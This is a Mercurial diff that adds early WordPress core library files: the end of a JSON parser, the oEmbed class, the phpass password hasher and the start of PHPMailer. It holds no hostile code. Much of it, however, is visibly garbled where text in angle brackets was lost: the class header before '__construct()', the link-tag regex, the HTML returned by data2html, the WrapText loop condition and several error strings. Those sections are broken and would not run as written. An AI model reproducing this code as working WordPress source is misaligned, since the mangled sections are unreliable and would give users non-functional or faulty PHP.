+ //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } elseif (($chrs{$c} == '{') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a left-brace, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); + //print("Found start of object at {$c}\n"); + + } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { + // found a right-brace, and we're in an object + array_pop($stk); + //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } elseif (($substr_chrs_c_2 == '/*') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a comment start, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); + $c++; + //print("Found start of comment at {$c}\n"); + + } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { + // found a comment end, and we're in one now + array_pop($stk); + $c++; + + for ($i = $top['where']; $i <= $c; ++$i) + $chrs = substr_replace($chrs, ' ', $i, 1); + + //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } + + } + + if (reset($stk) == SERVICES_JSON_IN_ARR) { + return $arr; + + } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { + return $obj; + + } + + } + } + } + + /** + * @todo Ultimately, this should just call PEAR::isError() + */ + function isError($data, $code = null) + { + if (class_exists('pear')) { + return PEAR::isError($data, $code); + } elseif (is_object($data) && (get_class($data) == 'services_json_error' || + is_subclass_of($data, 'services_json_error'))) { + return true; + } + + return false; + } +} + +if (class_exists('PEAR_Error')) { + + class Services_JSON_Error extends PEAR_Error + { + function Services_JSON_Error($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null) + { + parent::PEAR_Error($message, $code, $mode, $options, $userinfo); + } + } + +} else { + + /** + * @todo Ultimately, this class shall be descended from PEAR_Error + */ + class Services_JSON_Error + { + function Services_JSON_Error($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null) + { + + } + } + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-oembed.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-oembed.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,270 @@ +__construct(); + } + + /** + * PHP5 constructor + * + * @uses apply_filters() Filters a list of pre-defined oEmbed providers. + */ + function __construct() { + // List out some popular sites that support oEmbed. + // The WP_Embed class disables discovery for non-unfiltered_html users, so only providers in this array will be used for them. + // Add to this list using the wp_oembed_add_provider() function (see it's PHPDoc for details). + $this->providers = apply_filters( 'oembed_providers', array( + '#http://(www\.)?youtube.com/watch.*#i' => array( 'http://www.youtube.com/oembed', true ), + 'http://blip.tv/file/*' => array( 'http://blip.tv/oembed/', false ), + '#http://(www\.)?vimeo\.com/.*#i' => array( 'http://www.vimeo.com/api/oembed.{format}', true ), + '#http://(www\.)?dailymotion\.com/.*#i' => array( 'http://www.dailymotion.com/api/oembed', true ), + '#http://(www\.)?flickr\.com/.*#i' => array( 'http://www.flickr.com/services/oembed/', true ), + '#http://(www\.)?hulu\.com/watch/.*#i' => array( 'http://www.hulu.com/api/oembed.{format}', true ), + '#http://(www\.)?viddler\.com/.*#i' => array( 'http://lab.viddler.com/services/oembed/', true ), + 'http://qik.com/*' => array( 'http://qik.com/api/oembed.{format}', false ), + 'http://revision3.com/*' => array( 'http://revision3.com/api/oembed/', false ), + 'http://i*.photobucket.com/albums/*' => array( 'http://photobucket.com/oembed', false ), + 'http://gi*.photobucket.com/groups/*' => array( 'http://photobucket.com/oembed', false ), + '#http://(www\.)?scribd\.com/.*#i' => array( 'http://www.scribd.com/services/oembed', true ), + 'http://wordpress.tv/*' => array( 'http://wordpress.tv/oembed/', false ), + ) ); + + // Fix Scribd embeds. They contain new lines in the middle of the HTML which breaks wpautop(). + add_filter( 'oembed_dataparse', array(&$this, 'strip_scribd_newlines'), 10, 3 ); + } + + /** + * The do-it-all function that takes a URL and attempts to return the HTML. + * + * @see WP_oEmbed::discover() + * @see WP_oEmbed::fetch() + * @see WP_oEmbed::data2html() + * + * @param string $url The URL to the content that should be attempted to be embedded. + * @param array $args Optional arguments. Usually passed from a shortcode. + * @return bool|string False on failure, otherwise the UNSANITIZED (and potentially unsafe) HTML that should be used to embed. + */ + function get_html( $url, $args = '' ) { + $provider = false; + + if ( !isset($args['discover']) ) + $args['discover'] = true; + + foreach ( $this->providers as $matchmask => $data ) { + list( $providerurl, $regex ) = $data; + + // Turn the asterisk-type provider URLs into regex + if ( !$regex ) + $matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i'; + + if ( preg_match( $matchmask, $url ) ) { + $provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML + break; + } + } + + if ( !$provider && $args['discover'] ) + $provider = $this->discover( $url ); + + if ( !$provider || false === $data = $this->fetch( $provider, $url, $args ) ) + return false; + + return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args ); + } + + /** + * Attempts to find oEmbed provider discovery tags at the given URL. + * + * @param string $url The URL that should be inspected for discovery tags. + * @return bool|string False on failure, otherwise the oEmbed provider URL. + */ + function discover( $url ) { + $providers = array(); + + // Fetch URL content + if ( $html = wp_remote_retrieve_body( wp_remote_get( $url ) ) ) { + + // types that contain oEmbed provider URLs + $linktypes = apply_filters( 'oembed_linktypes', array( + 'application/json+oembed' => 'json', + 'text/xml+oembed' => 'xml', + 'application/xml+oembed' => 'xml', // Incorrect, but used by at least Vimeo + ) ); + + // Strip + $html = substr( $html, 0, stripos( $html, '' ) ); + + // Do a quick check + $tagfound = false; + foreach ( $linktypes as $linktype => $format ) { + if ( stripos($html, $linktype) ) { + $tagfound = true; + break; + } + } + + if ( $tagfound && preg_match_all( '/]+)>/i', $html, $links ) ) { + foreach ( $links[1] as $link ) { + $atts = shortcode_parse_atts( $link ); + + if ( !empty($atts['type']) && !empty($linktypes[$atts['type']]) && !empty($atts['href']) ) { + $providers[$linktypes[$atts['type']]] = $atts['href']; + + // Stop here if it's JSON (that's all we need) + if ( 'json' == $linktypes[$atts['type']] ) + break; + } + } + } + } + + // JSON is preferred to XML + if ( !empty($providers['json']) ) + return $providers['json']; + elseif ( !empty($providers['xml']) ) + return $providers['xml']; + else + return false; + } + + /** + * Connects to a oEmbed provider and returns the result. + * + * @param string $provider The URL to the oEmbed provider. + * @param string $url The URL to the content that is desired to be embedded. + * @param array $args Optional arguments. Usually passed from a shortcode. + * @return bool|object False on failure, otherwise the result in the form of an object. + */ + function fetch( $provider, $url, $args = '' ) { + $args = wp_parse_args( $args, wp_embed_defaults() ); + + $provider = add_query_arg( 'format', 'json', $provider ); // JSON is easier to deal with than XML + + $provider = add_query_arg( 'maxwidth', $args['width'], $provider ); + $provider = add_query_arg( 'maxheight', $args['height'], $provider ); + $provider = add_query_arg( 'url', urlencode($url), $provider ); + + if ( !$result = wp_remote_retrieve_body( wp_remote_get( $provider ) ) ) + return false; + + $result = trim( $result ); + + // JSON? + // Example content: http://vimeo.com/api/oembed.json?url=http%3A%2F%2Fvimeo.com%2F240975 + if ( $data = json_decode($result) ) { + return $data; + } + + // Must be XML. Only parse it if PHP5 is installed. (PHP4 isn't worth the trouble.) + // Example content: http://vimeo.com/api/oembed.xml?url=http%3A%2F%2Fvimeo.com%2F240975 + elseif ( function_exists('simplexml_load_string') ) { + $errors = libxml_use_internal_errors( 'true' ); + + $data = simplexml_load_string( $result ); + + libxml_use_internal_errors( $errors ); + + if ( is_object($data) ) + return $data; + } + + return false; + } + + /** + * Converts a data object from {@link WP_oEmbed::fetch()} and returns the HTML. + * + * @param object $data A data object result from an oEmbed provider. + * @param string $url The URL to the content that is desired to be embedded. + * @return bool|string False on error, otherwise the HTML needed to embed. + */ + function data2html( $data, $url ) { + if ( !is_object($data) || empty($data->type) ) + return false; + + switch ( $data->type ) { + case 'photo': + if ( empty($data->url) || empty($data->width) || empty($data->height) ) + return false; + + $title = ( !empty($data->title) ) ? $data->title : ''; + $return = '' . esc_attr($title) . ''; + break; + + case 'video': + case 'rich': + $return = ( !empty($data->html) ) ? $data->html : false; + break; + + case 'link': + $return = ( !empty($data->title) ) ? '' . esc_html($data->title) . '' : false; + break; + + default; + $return = false; + } + + // You can use this filter to add support for custom data types or to filter the result + return apply_filters( 'oembed_dataparse', $return, $data, $url ); + } + + /** + * Strip new lines from the HTML if it's a Scribd embed. + * + * @param string $html Existing HTML. + * @param object $data Data object from WP_oEmbed::data2html() + * @param string $url The original URL passed to oEmbed. + * @return string Possibly modified $html + */ + function strip_scribd_newlines( $html, $data, $url ) { + if ( preg_match( '#http://(www\.)?scribd.com/.*#i', $url ) ) + $html = str_replace( array( "\r\n", "\n" ), '', $html ); + + return $html; + } +} + +/** + * Returns the initialized {@link WP_oEmbed} object + * + * @since 2.9.0 + * @access private + * + * @see WP_oEmbed + * @uses WP_oEmbed + * + * @return WP_oEmbed object. + */ +function &_wp_oembed_get_object() { + static $wp_oembed; + + if ( is_null($wp_oembed) ) + $wp_oembed = new WP_oEmbed(); + + return $wp_oembed; +} + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-phpass.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-phpass.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,258 @@ + in 2004-2006 and placed in +# the public domain. +# +# There's absolutely no warranty. +# +# Please be sure to update the Version line if you edit this file in any way. +# It is suggested that you leave the main version number intact, but indicate +# your project name (after the slash) and add your own revision information. +# +# Please do not change the "private" password hashing method implemented in +# here, thereby making your hashes incompatible. However, if you must, please +# change the hash type identifier (the "$P$") to something different. +# +# Obviously, since this code is in the public domain, the above are not +# requirements (there can be none), but merely suggestions. +# + +/** + * Portable PHP password hashing framework. + * + * @package phpass + * @version 0.1 / genuine + * @link http://www.openwall.com/phpass/ + * @since 2.5 + */ +class PasswordHash { + var $itoa64; + var $iteration_count_log2; + var $portable_hashes; + var $random_state; + + function PasswordHash($iteration_count_log2, $portable_hashes) + { + $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; + + if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) + $iteration_count_log2 = 8; + $this->iteration_count_log2 = $iteration_count_log2; + + $this->portable_hashes = $portable_hashes; + + $this->random_state = microtime() . (function_exists('getmypid') ? getmypid() : '') . uniqid(rand(), TRUE); + + } + + function get_random_bytes($count) + { + $output = ''; + if (($fh = @fopen('/dev/urandom', 'rb'))) { + $output = fread($fh, $count); + fclose($fh); + } + + if (strlen($output) < $count) { + $output = ''; + for ($i = 0; $i < $count; $i += 16) { + $this->random_state = + md5(microtime() . $this->random_state); + $output .= + pack('H*', md5($this->random_state)); + } + $output = substr($output, 0, $count); + } + + return $output; + } + + function encode64($input, $count) + { + $output = ''; + $i = 0; + do { + $value = ord($input[$i++]); + $output .= $this->itoa64[$value & 0x3f]; + if ($i < $count) + $value |= ord($input[$i]) << 8; + $output .= $this->itoa64[($value >> 6) & 0x3f]; + if ($i++ >= $count) + break; + if ($i < $count) + $value |= ord($input[$i]) << 16; + $output .= $this->itoa64[($value >> 12) & 0x3f]; + if ($i++ >= $count) + break; + $output .= $this->itoa64[($value >> 18) & 0x3f]; + } while ($i < $count); + + return $output; + } + + function gensalt_private($input) + { + $output = '$P$'; + $output .= $this->itoa64[min($this->iteration_count_log2 + + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; + $output .= $this->encode64($input, 6); + + return $output; + } + + function crypt_private($password, $setting) + { + $output = '*0'; + if (substr($setting, 0, 2) == $output) + $output = '*1'; + + if (substr($setting, 0, 3) != '$P$') + return $output; + + $count_log2 = strpos($this->itoa64, $setting[3]); + if ($count_log2 < 7 || $count_log2 > 30) + return $output; + + $count = 1 << $count_log2; + + $salt = substr($setting, 4, 8); + if (strlen($salt) != 8) + return $output; + + # We're kind of forced to use MD5 here since it's the only + # cryptographic primitive available in all versions of PHP + # currently in use. To implement our own low-level crypto + # in PHP would result in much worse performance and + # consequently in lower iteration counts and hashes that are + # quicker to crack (by non-PHP code). + if (PHP_VERSION >= '5') { + $hash = md5($salt . $password, TRUE); + do { + $hash = md5($hash . $password, TRUE); + } while (--$count); + } else { + $hash = pack('H*', md5($salt . $password)); + do { + $hash = pack('H*', md5($hash . $password)); + } while (--$count); + } + + $output = substr($setting, 0, 12); + $output .= $this->encode64($hash, 16); + + return $output; + } + + function gensalt_extended($input) + { + $count_log2 = min($this->iteration_count_log2 + 8, 24); + # This should be odd to not reveal weak DES keys, and the + # maximum valid value is (2**24 - 1) which is odd anyway. + $count = (1 << $count_log2) - 1; + + $output = '_'; + $output .= $this->itoa64[$count & 0x3f]; + $output .= $this->itoa64[($count >> 6) & 0x3f]; + $output .= $this->itoa64[($count >> 12) & 0x3f]; + $output .= $this->itoa64[($count >> 18) & 0x3f]; + + $output .= $this->encode64($input, 3); + + return $output; + } + + function gensalt_blowfish($input) + { + # This one needs to use a different order of characters and a + # different encoding scheme from the one in encode64() above. + # We care because the last character in our encoded string will + # only represent 2 bits. While two known implementations of + # bcrypt will happily accept and correct a salt string which + # has the 4 unused bits set to non-zero, we do not want to take + # chances and we also do not want to waste an additional byte + # of entropy. + $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + + $output = '$2a$'; + $output .= chr(ord('0') + $this->iteration_count_log2 / 10); + $output .= chr(ord('0') + $this->iteration_count_log2 % 10); + $output .= '$'; + + $i = 0; + do { + $c1 = ord($input[$i++]); + $output .= $itoa64[$c1 >> 2]; + $c1 = ($c1 & 0x03) << 4; + if ($i >= 16) { + $output .= $itoa64[$c1]; + break; + } + + $c2 = ord($input[$i++]); + $c1 |= $c2 >> 4; + $output .= $itoa64[$c1]; + $c1 = ($c2 & 0x0f) << 2; + + $c2 = ord($input[$i++]); + $c1 |= $c2 >> 6; + $output .= $itoa64[$c1]; + $output .= $itoa64[$c2 & 0x3f]; + } while (1); + + return $output; + } + + function HashPassword($password) + { + $random = ''; + + if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { + $random = $this->get_random_bytes(16); + $hash = + crypt($password, $this->gensalt_blowfish($random)); + if (strlen($hash) == 60) + return $hash; + } + + if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { + if (strlen($random) < 3) + $random = $this->get_random_bytes(3); + $hash = + crypt($password, $this->gensalt_extended($random)); + if (strlen($hash) == 20) + return $hash; + } + + if (strlen($random) < 6) + $random = $this->get_random_bytes(6); + $hash = + $this->crypt_private($password, + $this->gensalt_private($random)); + if (strlen($hash) == 34) + return $hash; + + # Returning '*' on error is safe here, but would _not_ be safe + # in a crypt(3)-like function used _both_ for generating new + # hashes and for validating passwords against existing hashes. + return '*'; + } + + function CheckPassword($password, $stored_hash) + { + $hash = $this->crypt_private($password, $stored_hash); + if ($hash[0] == '*') + $hash = crypt($password, $stored_hash); + + return $hash == $stored_hash; + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-phpmailer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-phpmailer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1921 @@ +ContentType = 'text/html'; + } else { + $this->ContentType = 'text/plain'; + } + } + + /** + * Sets Mailer to send message using SMTP. + * @return void + */ + function IsSMTP() { + $this->Mailer = 'smtp'; + } + + /** + * Sets Mailer to send message using PHP mail() function. + * @return void + */ + function IsMail() { + $this->Mailer = 'mail'; + } + + /** + * Sets Mailer to send message using the $Sendmail program. + * @return void + */ + function IsSendmail() { + $this->Mailer = 'sendmail'; + } + + /** + * Sets Mailer to send message using the qmail MTA. + * @return void + */ + function IsQmail() { + $this->Sendmail = '/var/qmail/bin/sendmail'; + $this->Mailer = 'sendmail'; + } + + ///////////////////////////////////////////////// + // METHODS, RECIPIENTS + ///////////////////////////////////////////////// + + /** + * Adds a "To" address. + * @param string $address + * @param string $name + * @return void + */ + function AddAddress($address, $name = '') { + $cur = count($this->to); + $this->to[$cur][0] = trim($address); + $this->to[$cur][1] = $name; + } + + /** + * Adds a "Cc" address. Note: this function works + * with the SMTP mailer on win32, not with the "mail" + * mailer. + * @param string $address + * @param string $name + * @return void + */ + function AddCC($address, $name = '') { + $cur = count($this->cc); + $this->cc[$cur][0] = trim($address); + $this->cc[$cur][1] = $name; + } + + /** + * Adds a "Bcc" address. Note: this function works + * with the SMTP mailer on win32, not with the "mail" + * mailer. + * @param string $address + * @param string $name + * @return void + */ + function AddBCC($address, $name = '') { + $cur = count($this->bcc); + $this->bcc[$cur][0] = trim($address); + $this->bcc[$cur][1] = $name; + } + + /** + * Adds a "Reply-To" address. + * @param string $address + * @param string $name + * @return void + */ + function AddReplyTo($address, $name = '') { + $cur = count($this->ReplyTo); + $this->ReplyTo[$cur][0] = trim($address); + $this->ReplyTo[$cur][1] = $name; + } + + ///////////////////////////////////////////////// + // METHODS, MAIL SENDING + ///////////////////////////////////////////////// + + /** + * Creates message and assigns Mailer. If the message is + * not sent successfully then it returns false. Use the ErrorInfo + * variable to view description of the error. + * @return bool + */ + function Send() { + $header = ''; + $body = ''; + $result = true; + + if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { + $this->SetError($this->Lang('provide_address')); + return false; + } + + /* Set whether the message is multipart/alternative */ + if(!empty($this->AltBody)) { + $this->ContentType = 'multipart/alternative'; + } + + $this->error_count = 0; // reset errors + $this->SetMessageType(); + $header .= $this->CreateHeader(); + $body = $this->CreateBody(); + + if($body == '') { + return false; + } + + /* Choose the mailer */ + switch($this->Mailer) { + case 'sendmail': + $result = $this->SendmailSend($header, $body); + break; + case 'smtp': + $result = $this->SmtpSend($header, $body); + break; + case 'mail': + $result = $this->MailSend($header, $body); + break; + default: + $result = $this->MailSend($header, $body); + break; + //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported')); + //$result = false; + //break; + } + + return $result; + } + + /** + * Sends mail using the $Sendmail program. + * @access private + * @return bool + */ + function SendmailSend($header, $body) { + if ($this->Sender != '') { + $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); + } else { + $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail)); + } + + if(!@$mail = popen($sendmail, 'w')) { + $this->SetError($this->Lang('execute') . $this->Sendmail); + return false; + } + + fputs($mail, $header); + fputs($mail, $body); + + $result = pclose($mail); + if (version_compare(phpversion(), '4.2.3') == -1) { + $result = $result >> 8 & 0xFF; + } + if($result != 0) { + $this->SetError($this->Lang('execute') . $this->Sendmail); + return false; + } + return true; + } + + /** + * Sends mail using the PHP mail() function. + * @access private + * @return bool + */ + function MailSend($header, $body) { + + $to = ''; + for($i = 0; $i < count($this->to); $i++) { + if($i != 0) { $to .= ', '; } + $to .= $this->AddrFormat($this->to[$i]); + } + + $toArr = split(',', $to); + + $params = sprintf("-oi -f %s", $this->Sender); + if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) { + $old_from = ini_get('sendmail_from'); + ini_set('sendmail_from', $this->Sender); + if ($this->SingleTo === true && count($toArr) > 1) { + foreach ($toArr as $key => $val) { + $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); + } + } else { + $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); + } + } else { + if ($this->SingleTo === true && count($toArr) > 1) { + foreach ($toArr as $key => $val) { + $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params); + } + } else { + $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header); + } + } + + if (isset($old_from)) { + ini_set('sendmail_from', $old_from); + } + + if(!$rt) { + $this->SetError($this->Lang('instantiate')); + return false; + } + + return true; + } + + /** + * Sends mail via SMTP using PhpSMTP (Author: + * Chris Ryan). Returns bool. Returns false if there is a + * bad MAIL FROM, RCPT, or DATA input. + * @access private + * @return bool + */ + function SmtpSend($header, $body) { + include_once($this->PluginDir . 'class-smtp.php'); + $error = ''; + $bad_rcpt = array(); + + if(!$this->SmtpConnect()) { + return false; + } + + $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender; + if(!$this->smtp->Mail($smtp_from)) { + $error = $this->Lang('from_failed') . $smtp_from; + $this->SetError($error); + $this->smtp->Reset(); + return false; + } + + /* Attempt to send attach all recipients */ + for($i = 0; $i < count($this->to); $i++) { + if(!$this->smtp->Recipient($this->to[$i][0])) { + $bad_rcpt[] = $this->to[$i][0]; + } + } + for($i = 0; $i < count($this->cc); $i++) { + if(!$this->smtp->Recipient($this->cc[$i][0])) { + $bad_rcpt[] = $this->cc[$i][0]; + } + } + for($i = 0; $i < count($this->bcc); $i++) { + if(!$this->smtp->Recipient($this->bcc[$i][0])) { + $bad_rcpt[] = $this->bcc[$i][0]; + } + } + + if(count($bad_rcpt) > 0) { // Create error message + for($i = 0; $i < count($bad_rcpt); $i++) { + if($i != 0) { + $error .= ', '; + } + $error .= $bad_rcpt[$i]; + } + $error = $this->Lang('recipients_failed') . $error; + $this->SetError($error); + $this->smtp->Reset(); + return false; + } + + if(!$this->smtp->Data($header . $body)) { + $this->SetError($this->Lang('data_not_accepted')); + $this->smtp->Reset(); + return false; + } + if($this->SMTPKeepAlive == true) { + $this->smtp->Reset(); + } else { + $this->SmtpClose(); + } + + return true; + } + + /** + * Initiates a connection to an SMTP server. Returns false if the + * operation failed. + * @access private + * @return bool + */ + function SmtpConnect() { + if($this->smtp == NULL) { + $this->smtp = new SMTP(); + } + + $this->smtp->do_debug = $this->SMTPDebug; + $hosts = explode(';', $this->Host); + $index = 0; + $connection = ($this->smtp->Connected()); + + /* Retry while there is no connection */ + while($index < count($hosts) && $connection == false) { + $hostinfo = array(); + if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) { + $host = $hostinfo[1]; + $port = $hostinfo[2]; + } else { + $host = $hosts[$index]; + $port = $this->Port; + } + + if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) { + if ($this->Helo != '') { + $this->smtp->Hello($this->Helo); + } else { + $this->smtp->Hello($this->ServerHostname()); + } + + $connection = true; + if($this->SMTPAuth) { + if(!$this->smtp->Authenticate($this->Username, $this->Password)) { + $this->SetError($this->Lang('authenticate')); + $this->smtp->Reset(); + $connection = false; + } + } + } + $index++; + } + if(!$connection) { + $this->SetError($this->Lang('connect_host')); + } + + return $connection; + } + + /** + * Closes the active SMTP session if one exists. + * @return void + */ + function SmtpClose() { + if($this->smtp != NULL) { + if($this->smtp->Connected()) { + $this->smtp->Quit(); + $this->smtp->Close(); + } + } + } + + /** + * Sets the language for all class error messages. Returns false + * if it cannot load the language file. The default language type + * is English. + * @param string $lang_type Type of language (e.g. Portuguese: "br") + * @param string $lang_path Path to the language file directory + * @access public + * @return bool + */ + function SetLanguage($lang_type, $lang_path = 'language/') { + if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) { + include($lang_path.'phpmailer.lang-'.$lang_type.'.php'); + } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) { + include($lang_path.'phpmailer.lang-en.php'); + } else { + $PHPMAILER_LANG = array(); + $PHPMAILER_LANG["provide_address"] = 'You must provide at least one ' . + $PHPMAILER_LANG["mailer_not_supported"] = ' mailer is not supported.'; + $PHPMAILER_LANG["execute"] = 'Could not execute: '; + $PHPMAILER_LANG["instantiate"] = 'Could not instantiate mail function.'; + $PHPMAILER_LANG["authenticate"] = 'SMTP Error: Could not authenticate.'; + $PHPMAILER_LANG["from_failed"] = 'The following From address failed: '; + $PHPMAILER_LANG["recipients_failed"] = 'SMTP Error: The following ' . + $PHPMAILER_LANG["data_not_accepted"] = 'SMTP Error: Data not accepted.'; + $PHPMAILER_LANG["connect_host"] = 'SMTP Error: Could not connect to SMTP host.'; + $PHPMAILER_LANG["file_access"] = 'Could not access file: '; + $PHPMAILER_LANG["file_open"] = 'File Error: Could not open file: '; + $PHPMAILER_LANG["encoding"] = 'Unknown encoding: '; + $PHPMAILER_LANG["signing"] = 'Signing Error: '; + } + $this->language = $PHPMAILER_LANG; + + return true; + } + + ///////////////////////////////////////////////// + // METHODS, MESSAGE CREATION + ///////////////////////////////////////////////// + + /** + * Creates recipient headers. + * @access private + * @return string + */ + function AddrAppend($type, $addr) { + $addr_str = $type . ': '; + $addr_str .= $this->AddrFormat($addr[0]); + if(count($addr) > 1) { + for($i = 1; $i < count($addr); $i++) { + $addr_str .= ', ' . $this->AddrFormat($addr[$i]); + } + } + $addr_str .= $this->LE; + + return $addr_str; + } + + /** + * Formats an address correctly. + * @access private + * @return string + */ + function AddrFormat($addr) { + if(empty($addr[1])) { + $formatted = $this->SecureHeader($addr[0]); + } else { + $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">"; + } + + return $formatted; + } + + /** + * Wraps message for use with mailers that do not + * automatically perform wrapping and for quoted-printable. + * Original written by philippe. + * @access private + * @return string + */ + function WrapText($message, $length, $qp_mode = false) { + $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE; + // If utf-8 encoding is used, we will need to make sure we don't + // split multibyte characters when we wrap + $is_utf8 = (strtolower($this->CharSet) == "utf-8"); + + $message = $this->FixEOL($message); + if (substr($message, -1) == $this->LE) { + $message = substr($message, 0, -1); + } + + $line = explode($this->LE, $message); + $message = ''; + for ($i=0 ;$i < count($line); $i++) { + $line_part = explode(' ', $line[$i]); + $buf = ''; + for ($e = 0; $e $length)) { + $space_left = $length - strlen($buf) - 1; + if ($e != 0) { + if ($space_left > 20) { + $len = $space_left; + if ($is_utf8) { + $len = $this->UTF8CharBoundary($word, $len); + } elseif (substr($word, $len - 1, 1) == "=") { + $len--; + } elseif (substr($word, $len - 2, 1) == "=") { + $len -= 2; + } + $part = substr($word, 0, $len); + $word = substr($word, $len); + $buf .= ' ' . $part; + $message .= $buf . sprintf("=%s", $this->LE); + } else { + $message .= $buf . $soft_break; + } + $buf = ''; + } + while (strlen($word) > 0) { + $len = $length; + if ($is_utf8) { + $len = $this->UTF8CharBoundary($word, $len); + } elseif (substr($word, $len - 1, 1) == "=") { + $len--; + } elseif (substr($word, $len - 2, 1) == "=") { + $len -= 2; + } + $part = substr($word, 0, $len); + $word = substr($word, $len); + + if (strlen($word) > 0) { + $message .= $part . sprintf("=%s", $this->LE); + } else { + $buf = $part; + } + } + } else { + $buf_o = $buf; + $buf .= ($e == 0) ? $word : (' ' . $word); + + if (strlen($buf) > $length and $buf_o != '') { + $message .= $buf_o . $soft_break; + $buf = $word; + } + } + } + $message .= $buf . $this->LE; + } + + return $message; + } + + /** + * Finds last character boundary prior to maxLength in a utf-8 + * quoted (printable) encoded string. + * Original written by Colin Brown. + * @access private + * @param string $encodedText utf-8 QP text + * @param int $maxLength find last character boundary prior to this length + * @return int + */ + function UTF8CharBoundary($encodedText, $maxLength) { + $foundSplitPos = false; + $lookBack = 3; + while (!$foundSplitPos) { + $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); + $encodedCharPos = strpos($lastChunk, "="); + if ($encodedCharPos !== false) { + // Found start of encoded character byte within $lookBack block. + // Check the encoded byte value (the 2 chars after the '=') + $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); + $dec = hexdec($hex); + if ($dec < 128) { // Single byte character. + // If the encoded char was found at pos 0, it will fit + // otherwise reduce maxLength to start of the encoded char + $maxLength = ($encodedCharPos == 0) ? $maxLength : + $maxLength - ($lookBack - $encodedCharPos); + $foundSplitPos = true; + } elseif ($dec >= 192) { // First byte of a multi byte character + // Reduce maxLength to split at start of character + $maxLength = $maxLength - ($lookBack - $encodedCharPos); + $foundSplitPos = true; + } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back + $lookBack += 3; + } + } else { + // No encoded character found + $foundSplitPos = true; + } + } + return $maxLength; + } + + /** + * Set the body wrapping. + * @access private + * @return void + */ + function SetWordWrap() { + if($this->WordWrap < 1) { + return; + } + + switch($this->message_type) { + case 'alt': + /* fall through */ + case 'alt_attachments': + $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap); + break; + default: + $this->Body = $this->WrapText($this->Body, $this->WordWrap); + break; + } + } + + /** + * Assembles message header. + * @access private + * @return string + */ + function CreateHeader() { + $result = ''; + + /* Set the boundaries */ + $uniq_id = md5(uniqid(time())); + $this->boundary[1] = 'b1_' . $uniq_id; + $this->boundary[2] = 'b2_' . $uniq_id; + + $result .= $this->HeaderLine('Date', $this->RFCDate()); + if($this->Sender == '') { + $result .= $this->HeaderLine('Return-Path', trim($this->From)); + } else { + $result .= $this->HeaderLine('Return-Path', trim($this->Sender)); + } + + /* To be created automatically by mail() */ + if($this->Mailer != 'mail') { + if(count($this->to) > 0) { + $result .= $this->AddrAppend('To', $this->to); + } elseif (count($this->cc) == 0) { + $result .= $this->HeaderLine('To', 'undisclosed-recipients:;'); + } + } + + $from = array(); + $from[0][0] = trim($this->From); + $from[0][1] = $this->FromName; + $result .= $this->AddrAppend('From', $from); + + /* sendmail and mail() extract Cc from the header before sending */ + if((($this->Mailer == 'sendmail') || ($this->Mailer == 